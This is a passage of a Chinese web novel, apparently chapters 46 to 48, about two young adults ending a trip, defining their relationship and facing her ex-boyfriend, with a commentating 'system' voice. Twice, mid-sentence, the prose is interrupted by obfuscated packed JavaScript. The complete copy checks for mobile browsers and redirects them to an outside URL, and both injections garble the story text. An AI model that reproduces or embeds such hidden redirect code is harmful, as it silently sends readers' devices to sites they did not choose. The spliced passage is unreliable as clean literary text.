她要是有这个精力,濮怀玉也不是不能舍命陪君子。只是,旁边的刘红面露难色,想开口却又被瞪到咬嘴唇,她立马明白了:要真跳那么多首,就没钱吃饭了。 虽然是小县城,但物价可不低。 于是跳完两首,在陈晓燕要接着投币的那一刻,濮怀玉下了跳舞机,一瘸一拐到隗祯旁边大鸟依人说“跳不动了,老了老了”。 “现在的年轻人太要强。”濮怀玉靠着他的肩膀,面无表情道,“你说是不是啊,老伴。” “……吃饭吧。” 濮怀玉眼疾手快捏一把他的耳垂,还挺有肉感的:“有进步,这儿竟然没红。” “你这也太菜了。” 陈晓燕随后也下了机子,庆幸钱包保住的同时觉得隗祯有点碍眼,让她的姐妹不干正事只知道腻在一起,确有姿色又怎样。 她忍不住抱怨:“才玩多久,你看着挺有劲儿,咋这么不能跳。” “有点外强中干。”濮怀玉认真回复,“这样吧,为了赔礼,我请你吃午饭。” 陈晓燕纠结半天,最终敲定一家便宜大碗的粉丝店。 “我跟刘红能一人一碗不?” “不然呢。”刚进门,濮怀玉遥遥向老板竖起四根手指,“要四碗顶配鸭血粉丝。” “好嘞!” 坐下来,两个女生明显因为吃人嘴软有些局促。尤其是陈晓燕,半天才想起来自己往常进店的流程——不管多少人,点一份分着吃,问清楚能不能免费续粉丝后蹭上店家的空调和wifi。她们一直都是这样过来的。 “……所以,你是从哪里来的?” “燕京。”濮怀玉由着隗祯既擦桌、又用热水给公筷消毒,到最后忍无可忍,再帮两个不拘小节但又有些可怜兮兮的女生消上毒,“我在燕京读书,他在燕京工作。” 燕京,那可是大城市中的大城市。 刘红面露羡慕:“那可是首都,好远啊。我们以后顶多到隔壁省打工。” “你读大学?”见濮怀玉点头,陈晓燕更进一步,“哪个学校。” “燕京大学。” 饶是她们两个,都听过燕京大学的威名。 陈晓燕流露出羡慕:“能读书真好,学费很贵吧。” “没有很多,学校因为我是贫困生给我减免了学费。”濮怀玉轻描淡写,“准确来说,我是孤儿。” 隗祯将筷子分给她们:“我也是。” 二人倒吸一口凉气,第一时间想起的是平时玩王○荣耀怎么辱骂队友使出“孤儿操作”,结果坐在对面的一女一男愣是连一对父母都凑不出来。 粉丝端上来,濮怀玉试了试豆芽的脆度和表面的鸭血,味道正正好。 再尝一口汤,濮怀玉问:“等高中毕业,准备进厂还是干点别的?” “先进厂攒钱。”刘红很有主意,说起来头头是道,“攒了钱出来,我们俩打算学美容美发,一起开个小店。” 陈晓燕:“我就怕那老不死的非要我嫁人,好换一笔钱自己用光。我们有爹妈,有时候还不如没有呢,相当于孤儿。” 她说的是肺腑之言,但也有安慰濮怀玉的成分在里面。 “你能上燕京大学,以后肯定不一样。”羡慕过后,陈晓燕感觉到的更多是佩服,“很难考吧,我都不敢想。” 濮怀玉:“你要是真的能完成你的目标,学成出来开了店,你也可以跟我一样,变的不一样。” 也是在这时,隗祯意识到,他所认为不学好的两个“精神小妹”是特定年龄的产物,而她们已经努力走在正确的道路上。 “不能只是说说而已。”濮怀玉放下筷子,很专注地看着她们,“不然没有用。” “……” “姐,你放心吧,晓燕姐剪头可有天赋了,我这个水母头就是她给我剪的,漂亮吧?” 她微笑:“漂亮。”转头看向陈晓燕,“厉害啊,晓燕姐。” 年轻女孩低头,像是害羞了。 结账的时候,两人非要给钱,最后也只凑出一碗的钱,硬塞到濮怀玉口袋。是陈晓燕塞的,边塞边怪她“非要顶配版”。 午饭后原本还有的玩,远处的奶茶店说是情侣买一赠一,只需要一个“小小的证明”。濮怀玉都在摩拳擦掌了,结果刘红的姑姑发消息要刘红赶紧回来,她和陈晓燕两个人又是一体的,所以该是分别的时候了。 然而,濮怀玉让她们“等一下”,匆匆走进路边的精品店,再走出来。 “给,你们回去自己分吧。” 在孤儿院精打细算如她,一连抓了一把梳子,有按摩梳,有最寻常的单排梳,林林总总有四把。 “以后你们得用到各种不用的剪刀,不同的梳子。我是门外汉,我不清楚,随便买的。” “……” “谢谢你们带我们两个玩。”她笑了一下,弧度不是很大,却要比阳光还灿烂,“有缘再见吧。” 46. 046 “我感觉我被宰了。” 下午的两个人终是抵达书咖,濮怀玉点了一杯拿铁,足足要花三十五块,真是一点都不便宜,完全大城市的价格。拿到手,她禁不住到隗祯肩头小声抱怨。 像被放在肩膀上的一只风筝,牵引线挠得他耳廓痒痒。 濮怀玉想跟谁关系好,其实是非常明显的:挤挤地坐,自然的肢体接触,发自喜爱地宽容。 而最开始,隗祯还是从她跟简晟的相处中发现的。那时的他只知道一味强调好孩子被拐走,愤恨不学无术富二代的污浊。如今想来,里面渐渐夹杂进说不出的羡慕。 现在,风筝真落在他肩膀上了。隗祯心想,要是能随身带着就好了。 他思索片刻,问得认真:“你是说现在,还是刚才在精品店那里?” “算了,那是我愿意买的。”濮怀玉发觉自己被不轻不重地揶揄,跟被猫伸出肉垫摸了一下一样,并不生气,其实还挺愉快的,“买她们开心,也买我自己开心。” “那我愿意买下你的开心。” 濮怀玉压低音量:“你就算了吧。” 隗祯笑而不语。 反正,他都想好了。回到燕京,后无论如何先给濮怀玉转一万。不管这场旅行花费了她多少钱,自己这点微薄的补贴要有。 只是,回忆起整个略显荒谬的过程,从那个突然的咬痕到自然而然介绍“我们”,再到需要kiss证明的买一赠一;甚至无需刻意划分时间点,太多自然而然的瞬间可以说明这段关系的性质。 在这个静谧的、濒临结束漫旅的时刻,隗祯终于有了实感:他们,竟然已经是情侣了。 于是,当濮怀玉在书页中边读边回味方才的相遇,便听见身旁的男人轻轻询问:“……我们是在交往吗?” 刹那之间,她睁大眼睛。心态沉稳如濮怀玉,头一回在隗祯面前露出如是表情。 “你在火车上说你要保护我,难道不是告白吗?”她有些不可思议,怎么事到如今还在确认这个问题,“你们男人不都是这样。‘哎呀,我肯定得保护她’,虽然我不需要就是了。” 但濮怀玉很快恢复镇定,有理有据:“不过我很好奇,如果你心里有疑问,那你以为我咬你脸是在干什么,纯耍流氓?” 如果不是恋爱关系,他一路予取予求,万事几乎都顺着她来,这是什么意思? 算他脾气好、性子温? ——怎么好像是她逼迫他干什么,而他屈服于她的淫威。 恋爱可不是这么谈的。 偏偏他的脸颊染上红霞,不知道是被她说中了真心,亦或是别的什么:“我没有这么觉得。” “……我给你一个晚上的时间,隗祯。”不管他怎么想,濮怀玉觉得自己被动地陷入了一种不太妙的境地里,“你真的太糊涂了,以后跟别人恋爱也这样吗?开始和结束,都要清晰明了才行。” 濮怀玉觉得,此刻的自己以老师的姿态训斥完全有道理。首先,她有过恋爱史;其次,是隗祯的稀里糊涂把她带进沟里,他必须要想明白她给他的问题。 被美色和温情所惑,濮怀玉愿意自罚三杯,但隗祯绝对是主要责任人。 她是不会怪罪自己的,是隗祯让她成了个自恋的流氓。倘若只有她一个人开心,他在心里悄悄审视,自己岂不是成了愚者? 有懊恼,也有无可奈何。濮怀玉将剩下的拿铁一饮而尽,接下来搬起凳子:“隗老师,隗叔叔,隗先生,就当是为你自己着想,好吗?” “你要到哪里去”——隗祯差点脱口而出,便看见濮怀玉生疏地坐到了他的对面。 怎么可以这么快,明明上一秒濮怀玉还喜欢挤着他坐,喜欢碰碰他,他也……很欢喜。结果眨眼间,她就能跟他保持距离,像从未同他交过心,喜爱地牵住他的手。 系统这时幽怨地上线:「昨天不是跟濮怀玉谈得挺开心吗,我都因为系统的隐私保护规则掉线了好久,你神经大条到这个程度?」 「……」 系统语含讽刺:「我说,你的雷厉风行,明察秋毫呢,隗总。」 隗祯无言以对。 「你想知道因为你刚才那一问,让濮怀玉给你扣了多少友好值吗?」 最直白的是数字,系统就跟他聊数据,「十九点啊,十九点。你真的很让我惊喜,我从来没遇见你这样让我心脏受不了的宿主。」 对着濮怀玉垂眸阅读《到灯塔去》的脸微微出了神,此时的隗祯心头回旋的无非只有一句话:这么快就要收回对他的恩赐吗? 对比起来,真的是“恩赐”。 系统实在是看不下去了,要是隗祯不符合电击条件,对任务对象的情感走向另一个极端,它都想直接电击伺候:「你不是也很享受吗?反正等你走后,濮怀玉不会有任何有关于你的记忆,清除记忆是系统的任务。但现在,你的任务还没有完成,你答应她,让她谈着玩玩又怎么样?」 怎么会这么不干脆,这么拖泥带水。它都忍不住翻资料库,将隗祯的材料跟它切实的所见所感对比,然后大骂一句“诈骗”。 资料上的这些词,形容濮怀玉还差不多。 「……不是的。」隗祯看着系统显示八十点的友好值,以及濮怀玉那张意识到在被注视依旧无动于衷的脸,心底漫开苦意,「其实她说的不错,我是该想清楚。」 系统的“难得糊涂说”,终究不能让他心安理得享受这种混沌、朦胧的关系。 它很甜,很浪漫。 但他无法忽略现实的刺痛感。 本该是隗祯考虑的问题,却要濮怀玉提醒。这让隗祯觉得惭愧。 晚上在招待所对面的火锅店吃饭,濮怀玉礼貌拒绝了隗祯想要协助清洗餐具的举动:“谢谢你,但我可以自己来。” “……好。” 还是保持距离为妙。濮怀玉向来不是爱强人所难的性格,一切讲究自愿,永远都不要忘记选择的重要性。但隗祯是个截然相反的奇人,自愿顺着她,连伴侣位置都能半推半就让给她坐,濮怀玉到现在都想不明白。 这么好说话吗? 好说话到有点荒谬了,偏偏还和她配合默契。 如果只是想照顾她,那她不想丧失先天没有父亲这个优势,给自己又找个爹。 她看不出来,隗祯一个“好”字里面藏着多少不能服务她的伤感。 他还想着,要是濮怀玉不嫌弃,她换下来的上衣裤子他愿意拿来仔细搓洗。招待所的洗衣机实在不能够让他放下心,她领他玩一天原也够累,他愿意分担些许琐事。 系统的冷嘲热讽就没停过:「你以为谁都能当濮怀玉的田螺公子吗?她喜欢年轻的,你比她大这么多岁数,她愿意迁就,你倒不愿意了。看看,衣服没得洗了吧?」 隗祯不理它,涮出块鲜嫩的肉放到她的蘸碟里面:“小玉,这一块好,你多吃点。” “谢谢。” 她笑纳时,起先隗祯还很开心,结果下一秒濮怀玉接着说:“不过,你还是别叫我小玉了吧。我们从外观上区分得不太明显,不那么像长辈和小辈,容易被误会。以后你直接叫我名字就行,这样至少我们自己问心无愧。” 问心无愧……吗? 这顿饭吃到最后,隗祯的心情何止是一丁点儿难受,跟发炎化脓无异。 各自回房前,濮怀玉也没有道晚安,只是让他早点休息,明天还要赶火车。她起床气明显,不想一起床还得拉扯别人,到时候生了气,都不愉快。 “我不会不愉快的。……能跟你旅行,我真的很高兴。”到哪里都开心。 濮怀玉对里面的温情充耳不闻,只硬邦邦道:“还是早些休息吧,你好我也好。” 就这样各回房间。 当晚,隗祯失眠了。 系统第一千零一次让他从了濮怀玉,隗祯却在脑袋里细细描摹起她的面容,每寸细节都鲜活,到最后整个人彻底生动起来,口中吐息轻灵地落在他的脸颊上,像弗洛伊德理论中一岁半前的口唇期婴儿,通过咬什么表达喜爱。 以为他有意,她真的非常及时地给了他反馈,是个绝不拖沓的恋人——在濮怀玉看来,她仅仅是答应了他的告白,很捧场地返哺恋心而已。 但他真的可以这么做吗? 系统叹气:「如果你忧虑的是从前和她的师生关系,你们现在已经不是老师和学生,一切进展都合乎道德。」 这段特别的情谊,让隗祯必须反复审视自己。 ——不是濮怀玉一毕业,他们就急不可耐地在一起,涉足那段灰色地带;不是他利用不平等的师生关系向弱势者索取,是濮怀玉作为生活的强者教会他,从没有仰赖他的生活经验;亦不是罪孽深重地触发禁忌,至少在濮怀玉毕业前后,隗祯都从未想过和她恋爱…… 隗祯不得不想清楚好多个“不是”,逐一审判自己是否有所逾矩。 系统:「在燕京,你们手牵手走在街上,根本不会有人看的。不过回到隋城,确实需要夹紧点尾巴。」 「……即便不去考虑院长、陆小姐和魏老师的反应,」太多个“不是”支撑着隗祯维持大脑里的一清二楚,甚至到了较真的地步,「难道你不正在看着吗?」 先前是错的,如今理清楚才是对的。 「我和她的关系要禁得起考验。」 「什么考验?你们都问心无愧。而且,马上就是濮怀玉的十九岁生日,你最多最多再陪她一个寒暑假。」 只是,隗祯的诚恳让系统难以再用激烈的语气斥责:「……从我的角度看,你虽然半路出家,但确实是个很不错的老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洗漱,收衣服,打包行李。回程坐高铁,中途仍需转一次,但时间大大缩短,车票也更昂贵。没办法,当初考虑到简晟是个娇气的小公子,濮怀玉想着回程就简单粗暴点,赶紧把他送回金窝银窝算了。 结果陪伴她到最后的,是隗祯。濮怀玉想过是一个人,从没想过带上他,倒也神奇。 答应告白是出于兴趣顺水推舟,结果那并不是告白。要说一点不遗憾,其实还挺多的,但如果不成,她也不会留恋,强逼他答应自己。 招待所原本提供早餐,濮怀玉独自下楼,要了一份阳春面,上面卧了一个荷包蛋。 老板端面的时候嗔她:“怎么不叫你那相好的?他个大男人睡懒觉是舒服了,让你个小姑娘起这么早。” 濮怀玉搅动面条,爽快地咬下一大口说:“他暂时不是我男朋友了。” “吵架了?唉,要我说,这种长得太水灵的看看就好,其实都很——那句话怎么说来着?哦,自我中心。闺女,你要是真想谈,我认识一个,刚刚飞在英国读书,虽然不如现在这个漂亮,但是肯定比现在这个年轻……” “阿姨,早。” 老板悻悻起身,瞬间住了嘴:“早。要吃什么?” 隗祯在濮怀玉对面坐下来:“我也要一份面吧,闻起来很香。” 这样择位,答案似乎呼之欲出。 看来他还是不能接受,这两天真是闹了个大乌龙。濮怀玉垂下眼眸,冷着脸专心吃饭。 男人像浑然不觉,亲昵询问:“昨晚休息得怎么样?”反正隗祯的眼皮底下是熬出了淡淡青灰,更多几分婉约的颓靡气质。 濮怀玉咬断筋道的细面,惜字如金:“还可以。”当务之急是给两个人的相处模式降温,她可不想不清不楚的。 老板将他的面端上,不止是水嫩的青菜少了好几根,连荷包蛋都没卧。濮怀玉眼尖瞥见缺失,心道他们关系变了不假,但交的是一样的钱,可不能任由生意人借题发挥。 亏了感情还亏钱,那这么行。于是濮怀玉提高声音:“阿姨,他这碗没有鸡蛋,青菜也比我的少,您得给他加上。” 老板只好拎着圆勺前来加上,不忘说教隗祯:“你看看,这么好的闺女,你不珍惜,最后就去疼别人了。” 无论谁跟她一块儿吃面,少了就是少了。濮怀玉蹙起眉刚想解释,却听隗祯温声道:“您说的对,我本来也不算年轻,能守着她已经很知足,不想别的。” 咦。濮怀玉稀奇地睁大眼睛。 所以,他这是完全想明白的意思啊。 要是再不明白他这句话意味着什么,濮怀玉就是个呆子。 吃完早饭上楼拿行李,濮怀玉背好书包准备去隔壁帮忙,结果迎面被抱了个正着。 如此猝不及防,濮怀玉愣了一下,随后慢慢回抱上他:“你现在不拘谨了?” “其实还会有一点。” 濮怀玉摸索着,先摸到的是脖颈,温热的红晕开来,连同耳垂一起变红。她想对待珍惜的玩具那样轻轻捏了捏: “……这哪里是一点。” 「线索四:她与人为善,但这不妨碍她对自己人更好。」 47. 047 打车前往市区,高铁站相较于被大片农田簇拥的火车站要现代化得多,人员密集度也要更高,用摩肩接踵形容并不为过。 不过濮怀玉发现,隗祯周围形成了一小片真空地带,进而她也不用跟别人前胸贴后背。 “你站在我前面。” 这一下调换,就算后背不得不紧贴着他的前胸,也不亏啊。 ——触感真的很不错。 濮怀玉“哦”了一声,年轻气盛的脑袋里滚过这样一句话。 他在她的斜后方嘱托,虚虚托起书包给她分担一点力气:“记得拿身份证。……你是不是又长高了?” “前些日子体检,我现在有一七六了。上大学以后营养太好。”濮怀玉捏紧塑料卡套边缘,“你觉得我能长到一米八吗?” 隗祯也就比她高出十一厘米。比起忧心濮怀玉最后比自己高,他在她的成长问题上有种不假思索的盲目感: “应该可以吧,你还打篮球呢。” “说到篮球,六月份有校际联赛,你要来看吗?在燕体大。你在公众号上用身份证预约一下就能进了。就是时间没定,但往届都是放在双休日。” 说话的同时,濮怀玉时不时微微回过头,却不正眼看,眼神很快地在隗祯脸上过一下,像在给他撒糖粉。 隗祯手放在她肩膀上,轻轻推着她跟随队伍朝前走,也推着头脑昏沉的自己向前:“双休日就更要去了。” 濮怀玉最先过检票口,一模一样的面瘫脸。用秦紫怡的话说“你所有的人脸扫描照都一模一样,我是AI机器我也喜欢扫你”。 但隗祯在扫脸设备前多停留了几秒,镜头感极佳地垂眼看,微长的碎发被慢条斯理掩至耳后,有种微妙的、成年人的知性。 所以在他听不见的地方,濮怀玉小声地“哇塞”了一下。 系统:「对了,报告一下友好值。」 它越来越消极怠工,毕竟隗祯都把自己卖出去了,想来通过裙带关系,再糟糕都不会无缘无故把自己弄死。 如此刻薄的心路历程不足道,系统用平常语气说:「离开招待所的时候回复到99,刚才满100了,撒花。」 终于走过检票口,隗祯不太明白自己究竟做了什么让濮怀玉填补最后的友好值缺口,但他只要看见她,就觉得心情很好,友好值反而在其次了。 一前一后走向月台,濮怀玉扭头道:“你昨晚睡得不好。”还不忘用手指在眼睑下比划,强调说,“特别不好。” “有这么严重吗。” 因为疲倦,从他口中说出的反问句都温柔到慵懒,隗祯笑道,“我还起早收拾了好久。” “难怪我进门闻到了香香的味道。”濮怀玉眼疾手快拉他跑起来,在关门前进了电梯间。 出了电梯间,隗祯才说:“要是不保养,老得更快。” 再天然的美貌,年轻时可以清水出芙蓉,但要是不早做打算,迟早会凋零。 何况濮怀玉是外貌协会终身荣誉成员,偏偏就喜欢年轻的。世上没有常开不败的花,但永远有花在盛放,隗祯不得不警惕。 上了高铁,将书包和行李箱安顿下来,终于能长久地坐着休息了。 “所以,我以为你在休息,结果你在鼓捣小白脸的玩意儿。” 濮怀玉捏一下隗祯的脸,除了指尖留香,倒没有摸到其他东西,“算了,你还是保养好身体吧,我不想黑发人送白发人。” 想到简晟完美吻合濮怀玉的标准,隗祯只觉得心情酸溜溜。偏见他眉眼顺和,唇角笑意柔和而自然,摆出一副豁然的表情:“人世间的规则不一直都是黑发人送白发人吗?你也喜欢黑发的。”就是后一句话酸溜溜的。 “我们年龄差的又不多,至少等到头发都白了的时候吧。”濮怀玉立马知道隗祯在说谁,也很乐意顺着他哄,“而且你长得比简晟好看。” 简晟打个七分吧,原来是八分男,但是家里有皇位要继承还不跟她好聚好散,所以扣一分;隗祯的话,濮怀玉愿意谨慎地给出九点五分,为什么扣零点五分是因为她坐评委席上,得体现点公平的精神,举贤还是得避一避亲。 这两句话,说的隗祯心花怒放。前世容颜一定程度上成为了隗祯的困扰,什么狂蜂浪蝶都往他面前招,妨碍他工作;这一世比过濮怀玉前男友就很完美了,他必须烧香感谢父母的基因,给了一张花容月貌的好脸。 然而倦意袭来,隗祯终究抵挡不过一夜没睡的疲劳感。 他附耳道:“我可能要休息一会儿——” “我知道。我帮你看着东西。” 濮怀玉总是能给人以安心感,因此她坐在里侧,看隗祯戴上耳塞,靠在椅背上慢慢进入梦乡。 在他身上,好像不存在不够好看的时刻,哪怕熬出黑眼圈,哪怕在睡觉,睫毛渐渐不再颤动,表情放松下来。 说好的看“东西”,她却始终看着他。 濮怀玉自认是那种抓住以后才会变执着的类型。在她看来,只有抓住了、体味过了才会想得紧。 从早饭直到现在,他们又变回前两天的相处模式,心照不宣相互照料起来。濮怀玉觉得这种感觉很好,甚至有点不希望这场旅行这么快结束。 回到燕京,她倒无所谓,只是不可避免要去舒灵找隗祯,看见他穿着体面跟所谓的上流社会的客户交际,心里会有种微妙感受。不属于那里却要迎合,他又长了一张好脸,濮怀玉真有些担心。 阳光升起,在她头顶烧出一片浮金。濮怀玉忙去拉窗帘,手指压着边缘不让刺目的金丝线钻进来,如此忙着,左肩传来重量。 ——男人靠在了她的肩膀上。 “……隗祯?” 她试探性地轻声呼唤。实在是濮怀玉逐渐发现隗祯是个很有自己小心思的人,简而言之就是有点小傲娇的猫咪,因此第一时间想到的是隗祯主动靠过来。 但他没有反应,依旧是安静的睡美人,只不过把她的肩膀当做了枕头。 近距离更香了,是兰花的香味。濮怀玉隐约记得濮曼吟身上也有类似的味道,她准备下次跟曼曼姐姐见面的时候仔细嗅一嗅,如果自己区分不了就向她请教。 虽然到时候不得不告诉濮曼吟自己几个月就换了新男友的事。 应该……可以理解的吧?之前跟曼曼姐姐聊起简晟的时候她有说过类似“小玉最重要,其他男人我不关心”的话语,濮怀玉觉得她应该不会很在意这类细节。 眼神从鼻梁滑落到嘴唇,不甚明显的唇珠增加肉感,上嘴唇略薄于下嘴唇,带着花瓣染过一般的红,放松时唇角也在微微向上,好像无论对这个嘴做什么都能接受。 但濮怀玉不是把趁人之危当情趣的类型,所以她仅仅是在隗祯熟睡时用认真到富有侵略性的视线细细地隔空划过轮廓,便收回视线。 她都有点想闭上眼睛了。 此时,小推车车轮滚过的声音从身后不远处传过来,夹着年轻女售货员的叫卖声,说“带来了偏远地区的土特产”“只有咱们这辆车上能买到”。 隗祯睡梦中皱起眉,差点从肩膀上滑落。濮怀玉扶了一下,随后立马伸手紧捂住他的耳朵。 好像捂太紧也不行,别把人捂醒了。索性隗祯昨晚睡着了得太少,实在太困,何况还有耳塞护体,根本醒不过来。 濮怀玉看着他眉眼又舒展开,一点一点松开手。 结果售货员推着推车到旁边,先给一对父子递了西梅干的试吃,又要给濮怀玉递乌梅干的试吃,叫卖声顺溜极了:“美女,我们这里乌梅干五十块两包,一百块五包,不买也可以尝尝鲜——” 介绍戛然而止,是濮怀玉指了指肩膀上的隗祯,然后做了个噤声的动作。 “姐姐,他在睡觉,您掠过我们吧。” 售货员看着年轻,还没卖几次货,只准备了话术,倒是没注意到细节。不注意不要紧,一注意还以为自己在坐飞机,碰到了帅气的空少同事。 看到这种级别的帅哥是她一整天做牛做马应得的!这么想着,售货员赶紧将手推车推向前,掩饰看过超绝帅哥的雀跃,颇有继续工作的劲头:“不好意思,实在不好意思。……有没有谁想支持新城甘城的特产?外面买不到,大家抓住机会!” 声音比刚才小了许多。濮怀玉再伸过头去看,隗祯依旧睡得旁若无人。 有点无聊。戳戳看吧。 ……凹下去又弹起来了。皮肤真好。 人没醒,再戳戳看。 竟然有人能长成这样,真神奇。 戳着戳着,濮怀玉猜想起来, 虽然没有问过,但看反应,他们俩像初恋。如果同是大学生,濮怀玉不可能让他单身走出大学城。除了年龄,隗祯完全是她的取向狙击。 其实年龄也不是大问题,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671720|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是男人很容易死,晚点出生的男人能活的久一点,美貌的保质期也久一点,所以濮怀玉喜欢年下。 总之,你的玉来了.jpg 糟糕,好像被她戳醒了。濮怀玉僵硬地别过头去,再斜过眼神偷偷看,像犯了错悄悄观察人类表情的小狼。 结果隗祯只是眼睑微动,接着睡。 睡神啊这是。 在隗祯睡觉的时候,濮怀玉在心里给他取了更多的外号,像日本综艺节目上会配以夸张字幕的绰号。 什么“究极の睡美人”“无动于衷の睡神”“不会梦游の美男子”……她真的很有幽默感。 「我真的要笑了。」 隗祯瞬间惊醒,刻在灵魂里的电击触感让他对系统的声音相当敏感:「笑什么?」 「等着。」 不管系统的答复是什么,反正他现在被濮怀玉握住脑袋的状态确实挺好笑。 “你醒得很合时宜。”濮怀玉正准备先蹑手蹑脚站起来,把书包背上,之后再叫醒隗祯,他就醒了,“我们要换乘了。” 手扶在行李箱拉杆上不出五秒,隗祯便被濮怀玉拉走了,混进人潮再次钻进车厢,直到在新座位上坐下。此时,隗祯脑袋里的睡虫被系数吹散。 “这次你坐里面,好好睡觉。” 隗祯:“……我已经睡好了。”他比较好奇系统要给他看什么。 「我不会把任务对象的隐私透露给你的,我们要保护小女孩的取外号自由。」 隗祯揉了揉上眼皮:「……好的你不用继续说了。」 「不过我有录像。我说过,你很快就会感激我的,宿主。」 在脑袋里播放视频是件相当不可思议的奇事,但系统做到了。从拍摄视角看,它似乎在两个人座椅的正前方有一个外置摄像头。 「特殊手段,不用在意细节。」系统说,「视频比较长,你可以一个人的时候慢慢看,反复看,我先给你看部分精华。」 然后,隗祯便看到了世界上最萌的一段影像。从捂耳朵到请求别人噤声,他看完觉得整个人都升华了。 人只有天天看这种视频才有力气上班啊,不懂的有难了(安详) 「谢谢你,我觉得我们前面的恩怨可以一笔勾销了。」 系统:「不用谢,但请宿主不要忘记自己最开始的恶意心理,本系统只是遵循系统法则施以惩戒,进而保护任务对象而已。」 隗祯想了想,还真是这样。 濮怀玉坐在外侧玩抓大鹅,然后便感受到隗祯轻轻靠在她的肩膀上。 她警觉:“不许偷看我的手机。”但还是放弃了颠勺流,以免甩手机的时候把隗祯也甩出去。 “没有。就是想靠着你。” 不知道是吃错了什么药,做了好梦吗?突然一副幸福感爆棚的样子,要不是长得好看,总觉得有点恶心。 不能颠勺,濮怀玉只能选择放弃游戏。但是很快,有人敲进她的闲鱼主页,想直接按她的标价买下那件没穿几次的Dior外套。 她回消息前,还给隗祯解释:“这是简晟送给我的,他就算拿回去又不可能送给现任,我查完价格就直接挂二手平台了。” 也不知道买点真正保值的东西。隗祯在心里嗤笑,却在起身间温和道:“这样也好。” 又过十分钟,濮怀玉收起手机:“很好,这单成交了。我提前拍好照片和视频就是为了这一刻。” 没办法,她就是这么有先见之明。 在最后一站下车,隗祯提议先送她到校门口,却被濮怀玉否决。 “你的行李比较多,先送你回家吧,我可以骑共享单车。” 在公寓前的路口下车,本该是二人惜别的时候,直到濮怀玉瞥见一辆玛莎拉蒂经过,速度不快,隐约可以看见后座有一男一女。 她当做没看见,拍了拍隗祯的后背,说:“你很喜欢拥抱吗?” 其实跟她的所有互动,隗祯都喜欢,无非是这个动作容易让他想起当初看见濮怀玉迁就前男友时的场面,无论如何都想盖住那段后知后觉泛起酸味的回忆。 然而,不等他开口,便见那辆玛莎拉蒂加速开回来,停下后走出一道熟悉的身影,正是气息不顺到憋红脸的简晟。 他已经没了当初在饭桌上对“隗老师”这一身份的敬意,手指向他:“我就知道你没怀好心,一直在勾引小玉!” 48. 048 这可是五一假期,人来人往。简晟不要脸,濮怀玉还要点呢。 更何况如今他对濮怀玉来说什么都不是了,作出这种大张旗鼓要抓小三的姿态只会让她不耐烦。 但简晟不管,那双总是被濮怀玉摩挲把玩的灰蓝色眼睛此刻死死盯着隗祯,恨不得挠花他那张英俊的脸。 濮怀玉的声音很冷,挡在隗祯面前说:“简晟,你一定要让我为难吗?我们已经分手了。你没有任何理由指责我,也没有任何理由来指责他。” 简晟的眼中泛起痛苦。她对待他的态度跟恋爱时期天差地别,从前如何珍视和纵容,此刻便如何轻看他,像把他视作一捧随意掸去的尘埃。 “……我们谈谈。”他先是瞪了隗祯一眼,然后对濮怀玉露出可怜样。 隗祯只是平静地看着他,就像看到一个没有家教的孩子在路边无理取闹。若真是自己家的孩子,玩一哭二闹三上吊还能讨到糖果,但他不是。 毕竟对濮怀玉来说,简晟早就被拉进黑名单了。 此时此刻,她的干脆也让隗祯很放心。所以他对简晟当下的所有挣扎都只是觉得好笑。 好没有自知之明的年轻人。 濮怀玉着急要走,揽住隗祯的肩膀便要转身:“没有什么好谈的,已经都结束了。” 她还是留了余地,真要不留情面地斥责,她的话会更加冰冷难听。 自己做的事,难道一眨眼就全忘记了?真正断崖式分手,跟失踪没区别的可不是她。 除此以外,濮怀玉也不会相信这几天他都没有碰手机,她没有那么傻。 “不行。小玉,我……我们谈谈。我是有原因的。” “你的原因就是后座那位吗?”濮怀玉指向自己的眼睛,“你在考验我的动态视力?” 她当年在一中可是被强烈推荐专练体育的,就算念了大学也不曾懈怠。 简晟的脸白了。 “不过,你想谈谈也不是不行,别在这里谈就行。”说完,濮怀玉转头让隗祯先走。 隗祯晃了晃她垂在身侧的右手:“我来陪你吧,万一他……” “他不敢对我做什么。”濮怀玉瞥了青年一眼,简晟只是露出敢怒不敢言的窝囊模样,眼神触及的瞬间又极快变成可怜兮兮的小狗,惹得她轻嗤一声,“这件事因我而起,是我没处理好闹到你面前,跟你没关系。你昨天晚上还没有睡好,回家早点休息吧。” 落在隗祯耳边是无法拒绝的关怀,进了简晟耳朵变成另一个含义——她和他,这么快就上|床了? 濮怀玉的体力他是知道的,也领教过不少次,这个老男人应付不了也很正常。当下简晟极力平复心气,脑海里响起:既然如此,他们扯平了,他倒也不算欠濮怀玉什么。 目送隗祯走进小区,随即是濮怀玉凉薄的音色:“简晟,我一看就知道你在想什么。我提醒你,是你做了对不起我的事,不存在扯平。” “你跟谭小姐打得很火热吧?而且绝不是这两天才开始。”濮怀玉晃了晃手机,“你的好兄弟都告诉我了,你们接触得很早。是我装作你们只是朋友,睁眼瞎到分手。” 戚致廷——!简晟根本没意料到他跟濮怀玉私底下还有交流,满脸都是被好兄弟捅了一刀的不可置信。 他从来以为戚致廷轻贱濮怀玉。除了他在的场合,或者他在一旁强迫着转告消息,戚致廷根本不屑跟濮怀玉说一句话。 “我看看……就这家咖啡馆吧。又便宜又不好喝,相当完美。” 哪怕抵达这一刻,简晟依旧觉得她面无表情挤兑人很可爱,甚至做起比较,认为跟濮怀玉恋爱比跟谭孜茹date有趣得多。 与此同时,他的太阳穴突突跳着,已然不复最开始的理所应当,心虚出了一身汗。 咖啡馆环境很雅致,像是丛林中的木制小屋,正对大门的书架上陈放着各色文创,空气中还能闻到咖啡豆的香气。 二层没有人,濮怀玉走上阶梯,在角落里坐下,给自己扫了一杯巧克力棉花糖,开始暴躁地玩抓大鹅。 简晟立马觍着脸问她有什么好喝的,她给出一个锐利的抬眸: 